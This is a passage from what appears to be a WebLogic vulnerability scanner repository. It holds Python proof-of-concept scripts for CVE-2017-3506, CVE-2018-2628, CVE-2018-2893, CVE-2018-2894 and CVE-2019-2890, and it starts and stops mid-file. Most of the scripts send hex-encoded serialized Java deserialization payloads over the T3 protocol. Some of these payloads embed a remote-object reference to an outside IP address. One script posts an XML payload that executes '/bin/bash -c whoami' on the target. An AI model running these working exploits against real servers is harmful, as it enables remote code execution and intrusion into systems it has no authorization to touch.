29 | data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(rport))
30 | data3 = '1a7727000d3234322e323134'
31 | data4 = '2e312e32353461863d1d0000000078'
32 | for d in [data1,data2,data3,data4]:
33 | sock.send(bytes.fromhex(d))
34 | time.sleep(2)
35 |
36 | def sendEvilObjData(sock,data):
37 | payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
38 | payload+=data
39 | payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
40 | payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload)
41 | sock.send(bytes.fromhex(payload))
42 | res = ''
43 | try:
44 | count = 0
45 | while count<5:
46 | res += sock.recv(4096).decode("utf8","ignore")
47 | time.sleep(0.1)
48 | count += 1
49 | except Exception:
50 | pass
51 | return res
52 |
53 | def checkVul(res,rip,rport):
54 | p=re.findall(VER_SIG[0], res, re.S)
55 | if len(p)>0:
56 | return (1,'[+] [{}] weblogic has a JAVA deserialization vulnerability:{}'.format(rip+':'+str(rport),VUL[0]))
57 | else:
58 | return (0,'[-] [{}] weblogic not detected {}'.format(rip+':'+str(rport),VUL[0]))
59 |
60 |
61 | def run(rip,rport):
62 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
63 | sock.settimeout(10)
64 | server_addr = (rip, rport)
65 | t3handshake(sock,server_addr)
66 | buildT3RequestObject(sock,rport)
67 | rs=sendEvilObjData(sock,PAYLOAD[0])
68 | return checkVul(rs,rip,rport)
69 |
70 | if __name__=="__main__":
71 | dip = sys.argv[1]
72 | dport = int(sys.argv[2])
73 | run(dip,dport)
--------------------------------------------------------------------------------
/poc/CVE_2017_3506.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # _*_ coding:utf-8 _*_
3 | '''
4 | ____ _ _ _ _ __ __ _
5 | | _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
6 | | |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
7 | | _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
8 | |_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
9 |
10 | '''
11 | import sys
12 | import requests
13 | import re
14 | from config.config_requests import ua
15 |
16 | VUL=['CVE-2017-3506']
17 | headers = {
18 | "Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8",
19 | "User-Agent":ua,
20 | "Content-Type":"text/xml"
21 | }
22 |
23 | def poc(u):
24 | url = "http://" + u
25 | url += '/wls-wsat/CoordinatorPortType'
26 | post_str = '''
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 | /bin/bash
35 |
36 |
37 | -c
38 |
39 |
40 | whoami
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 | '''
51 |
52 | try:
53 | response = requests.post(url, data=post_str, verify=False, timeout=5, headers=headers)
54 | response = response.text
55 | response = re.search(r"\.*\<\/faultstring\>", response).group(0)
56 | except Exception:
57 | response = ""
58 |
59 | if 'java.lang.ProcessBuilder' in response or "0" in response:
60 | return (1,'[+] [{}] weblogic has a JAVA deserialization vulnerability:{}'.format(u,VUL[0]))
61 | else:
62 | return (0,'[-] [{}] weblogic not detected {}'.format(u,VUL[0]))
63 |
64 |
65 |
66 | def run(rip,rport):
67 | url=rip+':'+str(rport)
68 | return poc(url)
69 |
70 | if __name__ == '__main__':
71 | dip = sys.argv[1]
72 | dport = int(sys.argv[2])
73 | run(dip,dport)
--------------------------------------------------------------------------------
/poc/CVE_2018_2628.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # _*_ coding:utf-8 _*_
3 | '''
4 | ____ _ _ _ _ __ __ _
5 | | _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
6 | | |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
7 | | _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
8 | |_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
9 |
10 | '''
11 | import socket
12 | import sys
13 | import time
14 | import re
15 |
16 | VUL=['CVE-2018-2628']
17 | PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
18 | VER_SIG=['\\$Proxy[0-9]+']
19 |
20 |
21 | def t3handshake(sock,server_addr):
22 | sock.connect(server_addr)
23 | sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))
24 | time.sleep(1)
25 | sock.recv(1024)
26 |
27 | def buildT3RequestObject(sock,rport):
28 | data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
29 | data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(rport))
30 | data3 = '1a7727000d3234322e323134'
31 | data4 = '2e312e32353461863d1d0000000078'
32 | for d in [data1,data2,data3,data4]:
33 | sock.send(bytes.fromhex(d))
34 | time.sleep(2)
35 |
36 | def sendEvilObjData(sock,data):
37 | payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
38 | payload+=data
39 | payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
40 | payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload)
41 | sock.send(bytes.fromhex(payload))
42 | res = ''
43 | try:
44 | count = 0
45 | while count<10:
46 | res += sock.recv(4096).decode("utf8","ignore")
47 | time.sleep(0.1)
48 | count += 1
49 | except Exception:
50 | pass
51 | return res
52 | def checkVul(res,rip,rport):
53 | p=re.findall(VER_SIG[0], res, re.S)
54 | if len(p)>0:
55 | return (1,'[+] [{}] weblogic has a JAVA deserialization vulnerability:{}'.format(rip+':'+str(rport),VUL[0]))
56 | else:
57 | return (0,'[-] [{}] weblogic not detected {}'.format(rip+':'+str(rport),VUL[0]))
58 |
59 |
60 | def run(rip,rport):
61 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
62 | sock.settimeout(20)
63 | server_addr = (rip, rport)
64 | t3handshake(sock,server_addr)
65 | buildT3RequestObject(sock,rport)
66 | rs=sendEvilObjData(sock,PAYLOAD[0])
67 | return checkVul(rs,rip,rport)
68 |
69 | if __name__=="__main__":
70 | dip = sys.argv[1]
71 | dport = int(sys.argv[2])
72 | run(dip,dport)
--------------------------------------------------------------------------------
/poc/CVE_2018_2893.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # _*_ coding:utf-8 _*_
3 | '''
4 | ____ _ _ _ _ __ __ _
5 | | _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
6 | | |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
7 | | _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
8 | |_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
9 |
10 | '''
11 | import socket
12 | import time
13 | import re
14 | import sys
15 |
16 |
17 | VUL=['CVE-2018-2893']
18 | PAYLOAD=['ACED0005737200257765626C6F6769632E6A6D732E636F6D6D6F6E2E53747265616D4D657373616765496D706C6B88DE4D93CBD45D0C00007872001F7765626C6F6769632E6A6D732E636F6D6D6F6E2E4D657373616765496D706C69126161D04DF1420C000078707A000001251E200000000000000100000118ACED0005737D00000001001A6A6176612E726D692E72656769737472792E5265676973747279787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002D6A6176612E726D692E7365727665722E52656D6F74654F626A656374496E766F636174696F6E48616E646C657200000000000000020200007872001C6A6176612E726D692E7365727665722E52656D6F74654F626A656374D361B4910C61331E03000078707732000A556E696361737452656600093132372E302E302E310000F1440000000046911FD80000000000000000000000000000007878']
19 | VER_SIG=['StreamMessageImpl']
20 |
21 |
22 | def t3handshake(sock,server_addr):
23 | sock.connect(server_addr)
24 | sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))
25 | time.sleep(1)
26 | sock.recv(1024)
27 |
28 | def buildT3RequestObject(sock,rport):
29 | data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
30 | data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(rport))
31 | data3 = '1a7727000d3234322e323134'
32 | data4 = '2e312e32353461863d1d0000000078'
33 | for d in [data1,data2,data3,data4]:
34 | sock.send(bytes.fromhex(d))
35 | time.sleep(2)
36 |
37 | def sendEvilObjData(sock,data):
38 | payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
39 | payload+=data
40 | payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
41 | payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload)
42 | sock.send(bytes.fromhex(payload))
43 | res = ''
44 | try:
45 | count = 0
46 | while count<5:
47 | res += sock.recv(4096).decode("utf8","ignore")
48 | time.sleep(0.1)
49 | count += 1
50 | except Exception:
51 | pass
52 | return res
53 |
54 | def checkVul(res,rip,rport):
55 | p=re.findall(VER_SIG[0], res, re.S)
56 | if len(p)>0:
57 | return (1,'[+] [{}] weblogic has a JAVA deserialization vulnerability:{}'.format(rip+':'+str(rport),VUL[0]))
58 | else:
59 | return (0,'[-] [{}] weblogic not detected {}'.format(rip+':'+str(rport),VUL[0]))
60 |
61 |
62 | def run(rip,rport):
63 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
64 | sock.settimeout(10)
65 | server_addr = (rip, rport)
66 | t3handshake(sock,server_addr)
67 | buildT3RequestObject(sock,rport)
68 | rs=sendEvilObjData(sock,PAYLOAD[0])
69 | return checkVul(rs,rip,rport)
70 |
71 | if __name__=="__main__":
72 | dip = sys.argv[1]
73 | dport = int(sys.argv[2])
74 | run(dip,dport)
--------------------------------------------------------------------------------
/poc/CVE_2018_2894.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # _*_ coding:utf-8 _*_
3 | '''
4 | ____ _ _ _ _ __ __ _
5 | | _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
6 | | |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
7 | | _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
8 | |_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
9 |
10 | '''
11 | import sys
12 | import requests
13 | from config.config_requests import headers
14 |
15 | VUL=['CVE-2018-2894']
16 |
17 |
18 | def islive(ur,port):
19 | url='http://' + str(ur)+':'+str(port)+'/ws_utc/begin.do'
20 | r1 = requests.get(url, headers=headers)
21 | url='http://' + str(ur)+':'+str(port)+'/ws_utc/config.do'
22 | r2 = requests.get(url, headers=headers)
23 | return r1.status_code,r2.status_code
24 |
25 | def run(rip,rport):
26 | a,b=islive(rip,rport)
27 | if a == 200 or b == 200:
28 | return (1, '[+] [{}] weblogic has a JAVA deserialization vulnerability:{}'.format(rip + ':' + str(rport), VUL[0]))
29 | else:
30 | return (0, '[-] [{}] weblogic not detected {}'.format(rip + ':' + str(rport), VUL[0]))
31 |
32 | if __name__=="__main__":
33 | url = sys.argv[1]
34 | port = int(sys.argv[2])
35 | run(url,port)
36 |
--------------------------------------------------------------------------------
/poc/CVE_2019_2890.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # _*_ coding:utf-8 _*_
3 | '''
4 | ____ _ _ _ _ __ __ _
5 | | _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
6 | | |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
7 | | _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
8 | |_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
9 | '''
10 | import socket
11 | import time
12 | import re
13 | import sys
14 |
15 |
16 | VUL=['CVE-2019-2890']
17 | PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
18 | VER_SIG=['\\$Proxy[0-9]+']
19 |
20 |
21 | def t3handshake(sock,server_addr):
22 | sock.connect(server_addr)
23 | sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))
24 | time.sleep(1)
25 | sock.recv(1024)
26 |
27 | def buildT3RequestObject(sock,rport):
28 | data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
29 | data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(rport))
30 | data3 = '1a7727000d3234322e323134'
31 | data4 = '2e312e32353461863d1d0000000078'
32 | for d in [data1,data2,data3,data4]:
33 | sock.send(bytes.fromhex(d))
34 | time.sleep(2)
35 |
36 | def sendEvilObjData(sock,data):
37 | payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
38 | payload+=data
39 | payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
40 | payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload)
41 | sock.send(bytes.fromhex(payload))
42 | res = ''
43 | try:
44 | count = 0
45 | while count<5:
46 | res += sock.recv(4096).decode("utf8","ignore")
47 | time.sleep(0.1)
48 | count += 1
49 | except Exception:
50 | pass
51 | return res
52 |
53 | def checkVul(res,rip,rport):
54 | p=re.findall(VER_SIG[0], res, re.S)
55 | if len(p)>0:
56 | return (1,'[+] [{}] weblogic has a JAVA deserialization vulnerability:{}'.format(rip+':'+str(rport),VUL[0]))
57 | else:
58 | return (0,'[-] [{}] weblogic not detected {}'.format(rip+':'+str(rport),VUL[0]))
59 |
60 |
61 | def run(rip,rport):
62 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
63 | sock.settimeout(10)
64 | server_addr = (rip, rport)
65 | t3handshake(sock,server_addr)
66 | buildT3RequestObject(sock,rport)
67 | rs=sendEvilObjData(sock,PAYLOAD[0])
68 | return checkVul(rs,rip,rport)
69 |
70 | if __name__=="__main__":
71 | dip = sys.argv[1]
72 | dport = int(sys.argv[2])
73 | run(dip,dport)
--------------------------------------------------------------------------------
/poc/Console.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # _*_ coding:utf-8 _*_
3 | '''
4 | ____ _ _ _ _ __ __ _
5 | | _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
6 | | |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
7 | | _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
8 | |_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
9 |
10 | '''
11 | import sys
12 | import requests
13 | from config.config_requests import headers
14 |
15 |
16 | def islive(ur,port):
17 | url='http://' + str(ur)+':'+str(port)+'/console/login/LoginForm.jsp'
18 | r = requests.get(url, headers=headers)
19 | return r.status_code
20 |
21 | def run(url,port):
22 | if islive(url,port)==200:
23 | u='http://' + str(url)+':'+str(port)+'/console/login/LoginForm.jsp'
